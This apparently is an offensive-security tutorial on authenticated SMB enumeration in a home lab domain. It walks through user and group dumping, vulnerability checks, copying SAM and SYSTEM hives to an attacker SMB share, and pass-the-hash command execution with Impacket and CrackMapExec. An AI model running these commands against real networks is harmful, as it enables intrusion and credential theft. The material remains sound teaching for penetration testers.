In this post, we will be continuing with Part-2 of NetBIOS and SMB enumeration.
I highly suggest you read Part-1 before continuing with this post, as we will be continuing right where we left off.
In Part-2 of this post, we are going to continue from the scenario at the end of Part-1 where we found a valid set of credentials.
From there, we will use the credentials to further our SMB enumeration by gathering system, domain, user, and group information.
Next, we will hunt for common vulnerabilities (CVE’s) that have plagued SMB over the years.
Finally, we will pivot and review techniques and tools that allow us to perform remote command execution over SMB, as well as the conditions required to do that.
However, before we jump into authenticated enumeration, let’s quickly recap what was covered in Part-1.
Quick Recap of Part-1
In part-1 of this post, we learned about the NetBIOS and SMB services, how they tie together, as well as how they are useful for domain enumeration.
Next, we began our enumeration with an nmap scan against a domain joined Windows 10 host (172.16.1.200) where we found ports 139 and 445 open.
From there, we performed NetBIOS enumeration to find the hostnames and MAC addresses of various hosts in the domain, which is how we found the DC (172.16.1.5).
After enumerating NetBIOS, we shifted our focus onto SMB enumeration and saw multiple tools that we can use to find the SMB version running on a host, as well as how to list and access shares on a host.
Finally, we created an example scenario where we managed to obtain anonymous access to a network share, extract a TXT file with a password inside, brute force domain usernames, and ultimately find a match (valid credentials).
Continuing where we left off…
With a valid set of credentials, we will look at some additional enumeration that can be done remotely over SMB – starting with system enumeration.
NOTE: the system, domain, group, and user enumeration below can all be done in an automated fashion using Enum4linux, which I show how to use in this post here about MSRPC enumeration over SMB named pipes.
System Enumeration
Once we have found a valid set of credentials, the first thing that we should enumerate is information about each domain joined system.
For this example, we perform system enumeration using three different Impacket tools: GetArch.py, DumpNTLMInfo.py, and net.py
getArch.py
To begin, we will use is getArch.py to extract the architecture of a target Windows host.
Interestingly enough, this tool does NOT require credentials to use and can be executed using the following syntax:
getArch.py -target 172.16.1.200
Perfect! The tool ran successfully and tells us that the Windows 10 host is running an x64 architicture.
We can also use this script to check multiple hosts architectures at once. To do this, we can make a TXT file that lists all of the hosts IP addresses that were found earlier from the NetBIOS scan.
getArch.py -targets ./hosts.txt
Amazing! Using this technique, we were able to determine the architecture of all three hosts in a single command!
DumpNTLMInfo.py
The next tool we are going to use to gather system information is DumpNTLMInfo.py.
This tool provides some very good information about the target system including SMB version, hostname, and operating system version.
DumpNTLMInfo.py 172.16.1.200
Great! This tells us that this host is running SMB version 3, but also that SMBv1 is enabled (big find!). We can see the hostname is “JUGG-VCREED” and belongs to the “JUGGERNAUT” domain. Finally, this tells us that this host is Windows NT 10 – 19041.
Make note of the “NT” portion, as this does not necessarily mean Windows 10.
Windows NT 10 could be any one of Windows 10 or 11, or Server 2016, 2019, 2022.
The snip was taken from this link here, which shows all the various versions / build numbers for all Windows NT versions. With this, we can make an educated guess at the OS running on the target.
For example, the host with IP 172.16.1.200 has a build number of 19041, which only exists for Windows 10.
Additionally, checking the DC…
DumpNTLMInfo.py 172.16.1.5
On the DC we see build 17763; and because this is the DC, we know it has to be running Server. Putting these two thoughts together indicates that the DC must be running Server 2019.
Cool! This means that by using getArch.py + DumpNTLMInfo.py, we were able to extract all of the information that we typically look for when running systeminfo on the host. The only thing missing are the hotfixes.
reg.py
The last tool we will review for system enumeration is reg.py.
The registry is a great place to enumerate system information. For example, we can check for installed KBs (updates), installed applications, scheduled tasks, running services, if LAPS or wdigest are enabled, if there are any cleartext passwords stored in winlogon, and much more.
One drawback to this technique is that by default, standard user’s are denied access to view the HKLM (Local Machine) registry key on the RPC level. However, some misconfigurations could be in place to make it possible, so it’s still worth trying with any set of credentials found.
Alternatively, by default standard users can query the HKU (Users) key as well as the HKCU (current user) key with reg.py.
- HKU – Contains all the actively loaded user profiles on the computer.
- HKCU – Contains the root of the configuration information for the user who is currently logged on.
HKEY_CURRENT_USER (HKCU) is a subkey of HKEY_USERS (HKU) that corresponds to the user making the query (current user). As a result, the same information is accessible in both locations.
Checking if we can enumerate the HKLM key…
reg.py juggernaut.local/intern:'W3lc0met0Th3p4rtY!'@172.16.1.200 query -keyName "HKLM\\SOFTWARE\\Wow6432Node\\Microsoft\\Updates" -s
Unfortunately, and as expected – access was denied. But again, always worth a try!
As mentioned above, two keys that we can enumerate as a standard user are HKU and HKCU, which may reveal some installed applications:
reg.py juggernaut.local/intern:'W3lc0met0Th3p4rtY!'@172.16.1.200 query -keyName "HKU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall"
We get no hits, but the command worked. There were just no applications installed by this user.
Next, we can check HKCU; but, odds are it won’t contain any unique info that we couldn’t find from HKU.
reg.py juggernaut.local/intern:'W3lc0met0Th3p4rtY!'@172.16.1.200 query -keyName "HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall"
Moving on, for the rest of the reg.py examples we will supply domain admin credentials so that we can enumerate HKLM.
Using Admin Creds for PoC
Since our standard user is limited to enumerating HKU (on this host), for a PoC will supply admin credentials into reg.py. This will allow us to see what it would have looked like, had it worked using standard user credentials.
If we actually find admin credentials, reg.py would not be overly useful because there are many better options available at that stage. For this reason we are going to continue under the assumption that the output from the below commands were provided from supplying standard user credentials.
Enumerating Installed KBs
To begin, we can look for installed KBs with the following command:
reg.py juggernaut.local/administrator:'Ishalln0tbecracked!'@172.16.1.200 query -keyName "HKLM\\SOFTWARE\\Wow6432Node\\Microsoft\\Updates" -s
Amazing! Finding the installed KBs allows us to take this information, along with the system version and architecture version to search for public exploits that the host is not patched against.
Enumerating Installed Software
Next, we can check for installed applications in two different subkeys:
reg.py juggernaut.local/administrator:'Ishalln0tbecracked!'@172.16.1.200 query -keyName "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall"
reg.py juggernaut.local/administrator:'Ishalln0tbecracked!'@172.16.1.200 query -keyName "HKLM\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall"
Here we can see a list of installed applications in Programs and Features (Add/Remove Programs). Two in particular stand out, as they are non-standard: Wireshark and NpcapInst (a program packaged with Wireshark).
Applications are typically found in the Program Files (x86) and Program Files folders, making this a good way to look for non-standard applications installed on the system.
Enumerating Scheduled Tasks
Another thing we can enumerate are the scheduled tasks running on the host. To get even more granular, we can use some grep-fu to try and pinpoint custom / non-standard tasks running:
reg.py juggernaut.local/administrator:'Ishalln0tbecracked!'@172.16.1.200 query -keyName "HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\Taskcache\\Tasks" -s | grep "Path" | grep -iv 'Microsoft\\Windows'
Amazing! Finding a custom task provides a potential avenue for privilege escalation.
To learn more about escalating privileges using scheduled tasks, check out my post on the topic here.
Enumerating Running Services
Moving along, we can check the running services on the host.
reg.py juggernaut.local/administrator:'Ishalln0tbecracked!'@172.16.1.200 query -keyName "HKLM\\SYSTEM\\CurrentControlSet\\Services"
Unfortunately, there is no grep-fu that can really help us here. Therefor, we will need to go line by line through the output to find custom services.
However, once we find one that we want to know more about, we can add it to the above command and get details about a specific service. For example, if we found a service named “backdoor”:
reg.py juggernaut.local/administrator:'Ishalln0tbecracked!'@172.16.1.200 query -keyName "HKLM\\SYSTEM\\CurrentControlSet\\Services\\backdoor"
Just like scheduled tasks, an interesting/misconfigured service also provides a potential an escalation path.
To learn more about escalating privileges by abusing services, check out my post(s) on the topic here as well as here.
Enumerating Password Information
Finally, there are a few keys related to passwords that might be of interest to us.
First, we can check if LAPS (Local Administrator Password Solution) is installed by querying the following registry key:
reg.py juggernaut.local/administrator:'Ishalln0tbecracked!'@172.16.1.200 query -keyName "HKLM\\Software\\Policies\\Microsoft Services\\AdmPwd"
The error above indicates that the registry key does not exist, which tells us that LAPS is not installed on the host.
Moving on, we can also check the WDigest key to see if that service is enabled. Specifically, we want to check if “UseLogonCredential” is set to 1, which means cleartext creds are stored in memory. This is good information to have for post-compromise attacks.
reg.py juggernaut.local/administrator:'Ishalln0tbecracked!'@172.16.1.200 query -keyName "HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest"
Unfortunately, the key does not exist and no credentials are being stored in memory in cleartext.
Finally, we can check the WinLogin key for stored autologon credentials.
reg.py juggernaut.local/administrator:'Ishalln0tbecracked!'@172.16.1.200 query -keyName "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\Currentversion\\Winlogon"
Amazing! We found local Administrator credentials, which can be used to get a SYSTEM shell on the target.
From the above examples, we can see that reg.py is a powerful tool that can provide a lot of great intel about a host – even before a foothold has been established.
Again, it does require some luck to be able to enumerate system keys as a standard user using this technique. But if it works – jackpot!
Continuing on, let’s have a look at some domain enumeration we can perform over SMB.
Domain Enumeration
When it comes to domain enumeration, there is limited information that we can extract over SMB apart from users and groups.
It is also important to note that domain enumeration needs to be accomplished by targeting the DC (172.16.1.5). It will not work if we try to target the Windows 10 host.
Alright, for this example we will learn how to extract a list of domain joined computers, as well as how to determine the domain password policy.
Enumerating Domain Joined Computers
In Part-1 of this post, we learned how to use nbtscan to gather a list of hostnames across a range of IPs. While that is a good technique, it is limited to finding only the hosts that are currently powered on with an IP in the specified range.
Recently, Impacket added a new script to their collection called net.py. This script essentially performs the same function as net.exe, allowing us to enumerate a bunch of information including domain users, groups, computers, and more.
With that being said, we can use the following command to extract a list of all domain joined computers:
net.py juggernaut.local/intern:'W3lc0met0Th3p4rtY!'@172.16.1.5 computer
Amazing! Using net.py we were able to find 2 additional hosts that were not found when we used nbtscan: JUGG-BACKUP and JUGG-CMARKO
Another tool we can use to extract a list of computers in the domain is CrackMapExec.
crackmapexec smb 172.16.1.5 -u intern -p 'W3lc0met0Th3p4rtY!' -d juggernaut.local --computers
Enumerating Domain Password Policy
When attacking an AD environment, it is essential to know the password policy. As attackers, this information is critical to know so that we can work within the defined policies to prevent locking out users while performing a password spray attack.
We can also use CrackMapExec to extract the password policy of a domain.
crackmapexec smb 172.16.1.5 -u intern -p 'W3lc0met0Th3p4rtY!' -d juggernaut.local --pass-pol
Perfect! This tell us the minimum length of a password is 7, password complexity is enabled, and the lockout and reset timers are both set to 30 mins.
All of this is very useful information to have before attempting a password spray attack.
Next, we are going to learn how to how to dump user and group information using both Impacket and crackmapexec.
User Enumeration
When enumerating users in an Active Directory environment, it is important to enumerate both the domain users as well as the local users.
While local user’s are not technically part of the domain (they are not domain objects), they do play a big role within a domain setting.
However, in order to extract local user information from a domain joined host, it requires either a foothold on the target or admin (local or domain) privileges.
For this reason, we will focus exclusively on domain user enumeration.
Enumerating Domain Users
In this section, we will learn how to enumerate domain users using three different tools: Impacket, CrackMapExec, and Metasploit.
Impacket Scripts
Starting with Impacket, there are three great scripts that can be used to enumerate all of the users in a given domain: GetADUsers.py, samrdump.py, and net.py.
We’ll start by using GetADUsers.py, which will extract a dump of all domain users, their email addresses, password last set day, and last logon date.
GetADUsers.py juggernaut.local/intern:'W3lc0met0Th3p4rtY!' -dc-ip 172.16.1.5 -all
Another script that we can use to pull a list of domain user’s, as well as some additional information about each one is samrdump.py.
samrdump.py juggernaut.local/intern:'W3lc0met0Th3p4rtY!'@172.16.1.5
Finally, for the best “quick and dirty” user dump, we have the Impacket script net.py:
net.py juggernaut.local/intern:'W3lc0met0Th3p4rtY!'@172.16.1.5 user
CrackMapExec
CrackMapExec is another tool that we can use to extract a list of users in the domain.
Using the following command, we can extract a list of domain users as well as their “Description”, which is a common place to find passwords.
crackmapexec smb 172.16.1.5 -u 'intern' -p 'W3lc0met0Th3p4rtY!' -d 'juggernaut.local' --users
Amazing! Not only does the dump reveal all of the domain users, but the descriptions also provides additional insight into a few of the accounts.
We can see that “vcreed” is a Service Desk user, “nessex” is a domain admin, and “backup_svc” is managed by nate and it looks like the accounts password might be: Makemoney1!
Metasploit
Metasploit comes pre-packaged with some decent modules for SMB enumeration.
One module in particular is the smb_enumusers module, which can be used to enumerate domain users.
use auxiliary/scanner/smb/smb_enumusers
show options
set RHOSTS 172.16.1.5
set SMBUser intern
set SMBPass W3lc0met0Th3p4rtY!
set SMBDomain juggernaut.local
exploit
Cool! We can see the output gives us a comma-separated list of users in the domain, as well as information about the password policy.
Alright, now that we have seen how to enumerate domain users in a few different ways, let’s have a look at how we can enumerate domain groups.
Group Enumeration
Similar to enumerating users in an Active Directory environment, it is important to enumerate both the domain groups as well as the local groups.
However, the difference between local user and local group enumeration is that we can (in a way) enumerate some local group memberships on domain joined hosts.
Based on the local group memberships on the domain controller, which we can see, we can assume that some of them could apply to other hosts in the domain as well. The only caveat is that this idea comes with a lot of assumption.
Apart from this “trick” – for lack of a better term, local groups on domain joined hosts are the same as local users. To enumerate them, it requires either a foothold on the target or admin (local or domain) privileges.
To get started, we’ll have a look at a few tools that can be used to enumerate domain groups. Then, afterwards, we will go deeper into the idea of the local group assumption.
Enumerating Domain Groups
For domain group enumeration, we will use two of the same tools that we used for user enumeration: Impacket and CrackMapExec.
Starting with Impacket again, we can gather a list of domain groups using net.py.
net.py juggernaut.local/intern:'W3lc0met0Th3p4rtY!'@172.16.1.5 group
Awesome! The script dumped a list of groups in the domain, and one of them appears to be a custom group: Service Desk.
The default groups – especially Domain Admins – are interesting, but custom groups should definitely peak our attention!
Moving on, we can also dump a list of domain groups using CrackMapExec.
crackmapexec smb 172.16.1.5 -u 'intern' -p 'W3lc0met0Th3p4rtY!' -d 'juggernaut.local' --groups
Interestingly, CrackMapExec dumps the local groups as well as domain groups in a single command (output is cut off, which is why Service Desk is not visible).
Additionally, the output shows the number of members in each group, which is important to note.
Unfortunately, there are no SMB modules that we can use to extract a list of group members (users) from the list of groups above…
But, if LDAP(S) is open (port 389/636), then we can use the group-mem LDAP module to extract a list of members from each group that we are interested in.
crackmapexec ldap 172.16.1.5 -u 'intern' -p 'W3lc0met0Th3p4rtY!' -d 'juggernaut.local' -M group-mem -o GROUP="Domain Admins"
Great! The module extracted a list of group members in the Domain Admins group and uncovered who the second DA account is: “nessex”.
Although this post is about SMB enumeration, the LDAP module above needed to be added for the sake of good enumeration!
Enumerating Local Groups
Local group enumeration (on the DC) is done much the same as domain group enumeration, and will done using both CrackMapExec and net.py again.
Starting with net.py, we can use the following command to grab a list of local groups on the DC:
net.py juggernaut.local/intern:'W3lc0met0Th3p4rtY!'@172.16.1.5 localgroup
Awesome! Just like how we used net.py do extract a list of domain groups, we were able to do the same here with the local groups. As a result, we now have two nice lists of groups that we can examine further.
For some reason net.py did not add DnsAdmins to the list?
Although CrackMapExec is able to dump both the domain and local groups in a single command. It can also be used to dump only the local groups.
crackmapexec smb 172.16.1.5 -u 'intern' -p 'W3lc0met0Th3p4rtY!' -d 'juggernaut.local' --local-groups
Here we can see CrackMapExec was able to extract the full list, which includes the DnsAdmins group.
From here, we would use the LDAP module again to extract a list of members in each of the groups highlighted above.
The five groups outlined above are important, as those groups contain high value targets.
Something to consider is that the members from some of the groups above, such as “Backup Operators” or “Remote Management Users” may be members of the same local groups on other hosts in the network. Based on the nature of these groups, the operations performed by it’s members commonly apply to all hosts in the network, and are likely performed by the same account(s).
This is the “assumption” mentioned earlier about local groups.
Alright, now that we have seen how to perform the standard enumeration, we’re going to pivot into something a bit different and learn how to check for hosts that are vulnerable to common exploits (CVEs).
Vulnerability Enumeration
In addition to enumerating domain objects over SMB, we can also enumerate common AD-related vulnerabilities.
Most of the older vulnerabilities target the SMB service directly, and oftentimes can be executed without credentials (from anonymous to local SYSTEM).
We will start by seeing how to enumerate these using nmap.
In addition to SMB specific vulnerabilities, we will also see how we can use CrackMapExec to check for common (and more recent) vulnerabilities.
And the really cool thing is… most of these vulnerabilities can be exploited remotely!
Being able to execute these vulnerabilities remotely is especially useful when you have a set of credentials and no way to get a foothold on the target, which is our current situation right now with the “intern” user.
Nmap Vulnerability Hunting
Nmap comes pre-packaged with quite a few “smb-vuln” scripts, which are scripts designed to check if the target(s) being scanned are vulnerable to various common public exploits (CVEs).
Before Microsoft jumped on the CVE train, they were cataloging their patched vulnerabilities as MS##-###.
We can see all of the smb-vuln scripts on our attacker machine by checking the following location:
ls -l /usr/share/nmap/scripts/smb-vuln*
Alright, as mentioned before, most of these are old. Actually, the “newest” vulnerability this checks for is MS17-010, which is also known as Eternal Blue.
However, we can go online and look for scripts that we can add to the scripts directory. But, these are the built-in ones, so we will just stick with these for this example.
The best way to utilize these scripts, it to simply run all of them at once, which can be done anonymously, or with a set of credentials.
nmap -sV -Pn --script=smb-vuln* 172.16.1.5 -p139,445
Again, these are older vulnerabilities we are checking, so we cant expect to find much on this updated host.
However, if we find a host with an older version of Windows running, then we might have better luck.
For example, let’s say a Windows 7 host…
nmap -sV -Pn --script=smb-vuln* 172.16.1.150 -p139,445 --script-args smbusername='intern',smbpassword='W3lc0met0Th3p4rtY!',smbdomain='juggernaut.local'
From the output, we can see what it looks like when a host is vulnerable to MS17-010 (Eternal Blue).
While this shows us that nmap has some decent scripts to enumerate common vulnerabilities, it is only really useful when targeting hosts with older versions of Windows installed.
Fortunately for us, CrackMapExec has some modules that can be used to hunt for newer, common vulnerabilities.
Crackmapexec Vulnerability Hunting
Using CrackMapExec, we can hunt for vulnerabiltiies that affect modern versions of Windows.
However, there is one caveat – with the exception of Printnightmare, all of the vulnerabiltiies that we are going to hunt for are only applicable to Windows Server operating systems.
In total, there are six recently disclosed (common) vulnerabilities that we can hunt for:
- zerologon (CVE-2020-1472)
- printnightmare (CVE-2021-1675 and CVE-2021-34527)
- nopac (CVE-2021-42278 and CVE-2021-42287)
- petitpotam (CVE-2021-36942)
- shadowcoerce (CVE-2022-26925)
- dfscoerce (No CVE assigned)
For each of the vulnerabilities above, we will see a brief description of what the vulnerability is, as well as how to check if the target host is vulnerable.
My lab is running an unpatched version of Server 2019 that was downloaded in 2021. For this reason, we will see that the DC is vulnerable to most of the exploits below. However, even a fully patched Windows Server machine can be vulnerable to some of these attacks.
ZeroLogon (CVE-2020-1472)
ZeroLogon is a vulnerability that exploits a cryptographic flaw in Microsoft’s Active Directory Netlogon Remote Protocol (MS-NRPC).
By forging an authentication token for specific Netlogon functionality, an attacker can call a function to set the computer password of the Domain Controller to a known value. After that, the attacker can use this new password to take control of the Domain Controller and steal the credentials of a domain admin.
The scary thing about this vulnerability is that is can be executed without any credentials!
crackmapexec smb 172.16.1.5 -u 'intern' -p 'W3lc0met0Th3p4rtY!' -d 'juggernaut.local' -M zerologon
Awesome! Not only did we find that the DC is vulnerable to this exploit, CrackMapExec also provides a link to the public exploit that can be used to perform the attack.
Also, because this attack is possible without credentials, we can enumerate the target is using a null session.
crackmapexec smb 172.16.1.5 -u '' -p '' -d 'juggernaut.local' -M zerologon
This is a great quick win and should be one of the first things we check for in an Active Directory domain environment.
PrintNightmare (CVE-2021-1675 and CVE-2021-34527)
Out of the six vulnerabiltiies that we are going to hunt for, PrintNightmare is the only one that affects both Windows as well as Windows Server.
- Windows Server (2004, 2008, 2008 R2, 2012, 2012 R2, 2016, 2019, 20H2)
- Windows (7, 8.1, RT 8.1, 10)
PrintNightmare is a critical security vulnerability affecting the Microsoft Windows operating system. There are two variants, one permitting remote code execution (CVE-2021-34527), and the other leading to privilege escalation (CVE-2021-1675).
crackmapexec smb 172.16.1.5 -u 'intern' -p 'W3lc0met0Th3p4rtY!' -d 'juggernaut.local' -M printnightmare
And on the Windows 10 host…
crackmapexec smb 172.16.1.200 -u 'intern' -p 'W3lc0met0Th3p4rtY!' -d 'juggernaut.local' -M printnightmare
If you are interested in learning how to exploit PrintNightmare, check out my post on the topic here.
noPac (CVE-2021-42278 and CVE-2021-42287)
noPac is security bypass vulnerability that affects the Kerberos Privilege Attribute Certificate (PAC), and allows potential attackers to impersonate a domain controller. This is accomplished via a technique called samAccountName Spoofing.
Once the domain controller has been impersonated, the attacker can utilize a DCSync attack on the DC with a pass-the-hash attack, and dump all of the hashes in the domain.
crackmapexec smb 172.16.1.5 -u 'intern' -p 'W3lc0met0Th3p4rtY!' -d 'juggernaut.local' -M nopac
Coerce Attacks: petitpotam (CVE-2021-36942), shadowcoerce (CVE-2022-26925), dfscoerce (No CVE)
Coerce Attacks are NTLM relay attacks that coerce (force) an authentication attempt from a domain controller.
By setting up a man-in-the-middle attack, attackers can intercept the forced authentication request and relay the NTLM credentials to services like Active Directory Certificate Services (AD CS). With this technique, attackers can easily go from a standard user account to completely compromising the domain in minutes.
PetitPotam works by exploiting flaws in the Encrypting File System Remote (EFSRPC) protocol to coerce the target machine into authenticating to other systems on the network, allowing an attacker to capture an NTLM hash and potentially relay it elsewhere.
crackmapexec smb 172.16.1.5 -u 'intern' -p 'W3lc0met0Th3p4rtY!' -d 'juggernaut.local' -M petitpotam
Shadowcoerce is based on the PetitPotam exploit, but instead of using MS-EFSRPC, it uses the File Server Remote VSS Protocol (MS-FSRVP) – a protocol used for creating shadow copies of file shares on remote computers.
In order for a domain controller to perform these operations, the File Server VSS Agent Service needs to be installed from the server roles.
crackmapexec smb 172.16.1.5 -u 'intern' -p 'W3lc0met0Th3p4rtY!' -d 'juggernaut.local' -M shadowcoerce
The DFSCoerce script is also based on the PetitPotam exploit, but it uses MS-DFSNM, a protocol that allows the Windows Distributed File System (DFS) to be managed over a remote procedure call (RPC) interface.
crackmapexec smb 172.16.1.5 -u 'intern' -p 'W3lc0met0Th3p4rtY!' -d 'juggernaut.local' -M dfscoerce
Amazing! By hunting for older vulnerabilities (nmap) as well as newer ones (CrackMapExec), we were able to uncover multiple avenues for privilege escalation and full domain takeover!
Alright, now that we have learned how to check for common vulnerabilities, we are going to finish with command execution.
Scenario: Privilege Escalation on Windows 10 Host and SAM Hash Dump
Before we get into the command execution examples, let’s quickly pretend that we were able to exploit the PrintNightmare vulnerability remotely on the Windows 10 host (172.16.1.200) – resulting in a SYSTEM shell.
Great! However, we still do not have any passwords for an administrator account!
So from here, we extract the local SAM hashes using the reg command.
reg save hklm\sam C:\temp\SAM
reg save hklm\system C:\temp\SYSTEM
Next, we setup a quick SMB share on our attacker machine to transfer the files.
smbserver.py share $(pwd) -smb2support
And send the files back to our attacker machine to extract the hashes.
copy .\SAM \\172.16.1.30\share
copy .\SYSTEM \\172.16.1.30\share
Once the SYSTEM and SAM file have been exfiltrated, we proceed to dump the hashes using secretsdump.py.
secretsdump.py -sam SAM -system SYSTEM LOCAL
At this point, we would normally try to crack the local Administrator’s hash; however, that will not be necessary. Instead, we will use the Administrator hash to perform a pass-the-hash attack.
To learn more about pass-the-hash attacks, check out my post on the topic here.
Fortunately for us, both Impacket and CrackMapExec support passing the hash as a way to authenticate – just the same as using traditional password.
Administrator : 3542d79d5d17bc9d3014d4d56b5e3060
Note that we only need the second half of the hash to pass it.
Command Execution
For our final set of examples, we are going to look at a few tools / techniques that can be used to execute commands on a target host through SMB.
It should be noted right away that these techniques will almost always require administrative permissions of some sort. Whether that is domain admin, local admin, or local SYSTEM.
There are two reasons why we need administrative privileges:
- For some of the scripts, we need write permissions on a share folder (often ADMIN$).
- For all of the scripts, we need permissions to manipulate services, scheduled tasks, etc.
Based on the above, it quickly becomes obvious why command execution typically requires administrative privileges.
There are five common methods for command execution over SMB: psexec, smbexec, dcomexec (mmc), wmiexec, and atexec.
Therefore, we are going to see an example of each method using CrackMapExec and Impacket, as well as a brief explanation about how each of them work.
Impacket Scripts
To begin, we will look at the Impacket scripts available for command execution, which include psexec.py, smbexec.py, dcomexec.py, wmiexec.py, and atexec.py.
In Part-1 of this post, we learned about the named pipes used for each technique mentioned above. Let’s quickly refresh on that:
- \pipe\svcctl: Service Control Manager – remotely create, start, and stop services to execute commands (how psexec.py and smbexec.py work).
- \pipe\epmapper: Distributed Component Object Model (DCOM) supporting Windows Management Instrumentation (WMI) – remote command execution via WMI (how wmiexec.py and dcomexec.py work)
- \pipe\atsvc: Task Scheduler – remotely create scheduled tasks to execute commands (how atexec.py works)
This is important because it shows us the different techniques used by each of the scripts to execute commands.
It is also important to note that all of the attack methods in each script (apart from psexec.py) are fileless.
Continuing from our example scenario above, we have extracted the local Administrator’s hash from the Windows 10 machine and we are ready to start passing it!
The local Administrator account should not be confused with a domain Administrator. The SAM file where the hash was extracted only contains local user hashes and not domain hashes.
Because this hash belongs to local Administrator account, we will not be specifying the domain in the commands we run. However, if this were a domain admin account, we would specify the domain, just as we did with the other Impacket scripts used throughout this post.
psexec.py
psexec.py uses a very similar method to the traditional PsExec Sysinternals program. However, instead of copying psexesvc.exe file into the ADMIN$ administrative share and creating/starting the PSEXESVC service to execute it, the Impacket script uses the RemComSvc utility.
Additionally, it uploads an arbitrarily named binary instead of psexesvc.exe to any writeable share it finds (not just $ADMIN).
So for a non admin user, the requirements would be write permissions on any share, and the ability to create and start a service.
We can get a SYSTEM shell by passing the hash of a local Administrator account using psexec.py, like so:
psexec.py -hashes :3542d79d5d17bc9d3014d4d56b5e3060 administrator@172.16.1.200
To use psexec.py with a typical password, we can use the following syntax:
psexec.py administrator:'LocalAdminPassword1!'@172.16.1.200
Metasploit also has a good PsExec module. If you are interested, I did an example of how to use it in this post here.
smbexec.py
smbexec.py works in a very similar way to psexec.py; however, it does not drop any files onto disk, and therefor does not require write permissions to any shares.
Instead, smbexec.py creates a service named “BTOBTO” that contains the command string to execute using %COMSPEC% (points to cmd.exe). It echo’s the command to a bat file, redirects the stdout and stderr to a temp file, then executes the bat file, deletes it, and then deletes the “BTOBTO” service.
This results in a “pseudo-shell” (semi-interactive shell), which is just an SMB server that reflects the results of the commands we run back to us.
With every command we execute, a new service is created and the process is repeated. As a result, this technique does not require a binary, it just executes each desired command as a new service.
smbexec.py -hashes :3542d79d5d17bc9d3014d4d56b5e3060 administrator@172.16.1.200
To use smbexec.py with a typical password, we can use the following syntax:
smbexec.py administrator:'LocalAdminPassword1!'@172.16.1.200
dcomexec.py
dcomexec.py works by utilizing one of three DCOM endpoints across a network to execute commands: ShellWindows, ShellBrowserWindow, or MMC20
The Distributed Component Object Model (DCOM) is a protocol that enables software components to communicate directly over a network.
Out of the three options, the MMC20 COM object is the most interesting because it is related to mmc.exe or Microsoft Management Console.
Actually, what is most interesting is that MMC20 COM object has a method called ExecuteShellCommand, which as the name suggests, allows us to execute commands.
Because each command is executed as a child process of mmc.exe, the result is a semi-interactive shell – similar to what we saw using smbexec.py.
dcomexec.py -hashes :3542d79d5d17bc9d3014d4d56b5e3060 administrator@172.16.1.200 -object MMC20
Something really cool about dcomexec.py is that the commands are being executed as the actual Administrator user, and not under the context of SYSTEM.
To use dcomexec.py with a typical password, we can use the following syntax:
dcomexec.py administrator:'LocalAdminPassword1!'@172.16.1.200 -object MMC20
wmiexec.py
wmiexec.py uses the DCOM interface to connect to a remote target’s Windows Management Instrumentation (WMI) interface, and execute commands.
This method is very similar to dcomexec.py, except the commands are ran as a child process of wmiprvse.exe, rather than mmc.exe.
Both scripts also utilize DCOM for their delivery, just in different ways.
Wmiexec.py uses the DCOM interface as a connection method to WMI, whereas dcomexec.py uses actual DCOM objects to execute the commands.
Due to each command being executed as a child process of wmiprvse.exe, the result is a semi-interactive shell – similar to what we saw using dcomexec.py and smbexec.py.
wmiexec.py -hashes :3542d79d5d17bc9d3014d4d56b5e3060 administrator@172.16.1.200
From the output we can spot another similarity to dcomexex.py – the command execution is being performed as the actual Administrator user, and not under the context of SYSTEM.
To use wmiexec.py with a typical password, we can use the following syntax:
wmiexec.py administrator:'LocalAdminPassword1!'@172.16.1.200
atexec.py
atexec.py uses the Task Scheduler service on the remote Windows system to execute a supplied command.
Once executed, atexec.py will create a scheduled task, trigger the task, and then delete it.
Each time a command is executed, a new scheduled task is created to execute that one specified command. As a result this method does NOT result in an interactive shell like psexec.py, nor a semi-interactive shell like smbexec.py, dcomexec.py, or wmiexec.py. Instead, we have to specify each command we want to execute in separate atexec.py executions.
atexec.py -hashes :3542d79d5d17bc9d3014d4d56b5e3060 administrator@172.16.1.200 'whoami'
From the output, we can see there is no shell whatsoever. Additionally, we can see that our command executed as SYSTEM, which is similar to psexec.py and smbexec.py.
To use atexec.py with a typical password, we can use the following syntax:
atexec.py administrator:'LocalAdminPassword1!'@172.16.1.200 'whoami'
Cool! We learned about 5 important Impacket scripts that can be used for command execution. Now, let’s check out how to use CrackMapExec for command execution over SMB.
CrackMapExec
For our final example(s), we will use CrackMapExec to execute commands over SMB.
Similar to the Impacket scripts we just used, CrackMapExec uses the following methods for command execution: smbexec, mmcexec (DCOM), wmiexec, and atexec
As you can see, there is no psexec method, which is likely due to the fact that the other four methods are fileless and more stealthy.
By default, when a method is not specified, CrackMapExec will use the wmiexec method for command execution.
There are two switches that we can use to execute commands: -x (lowercase) for cmd.exe and -X (uppercase) for powershell.exe.
Since we already learned how each of the methods used by CrackMapExec work during the Impacket examples, we will just quickly review the syntax for each method.
First, we can simply run commands using cmd.exe via wmiexec.
crackmapexec smb 172.16.1.200 -u 'Administrator' -H '3542d79d5d17bc9d3014d4d56b5e3060' --local-auth -x 'dir C:\'
Note that we dropped the -d flag and added –local-auth to the command. This is required whenever we are targeting a local account.
The “Pwn3d!” message occurs when CrackMapExec identifies the ability to execute commands over the specified service; in this case, SMB.
Next, we can run PowerShell commands via wmiexec.
crackmapexec smb 172.16.1.200 -u 'Administrator' -H '3542d79d5d17bc9d3014d4d56b5e3060' --local-auth -X 'Get-ChildItem C:\'
Finally, we can select the execution method we want to use with the –exec-method switch, like so:
crackmapexec smb 172.16.1.200 -u 'Administrator' -H '3542d79d5d17bc9d3014d4d56b5e3060' --local-auth --exec-method smbexec -x 'whoami'
crackmapexec smb 172.16.1.200 -u 'Administrator' -H '3542d79d5d17bc9d3014d4d56b5e3060' --local-auth --exec-method mmcexec -x 'whoami'
crackmapexec smb 172.16.1.200 -u 'Administrator' -H '3542d79d5d17bc9d3014d4d56b5e3060' --local-auth --exec-method atexec -x 'whoami'
Final Thoughts
Sheesh! That was even more than Part-1, which was already longer than I had anticipated!
There is just so much recon that can be performed over SMB, and I feel like there is still more to cover. However, we did go over all of the most important aspects of SMB enumeration, so anything additional would just be a bonus at this point.
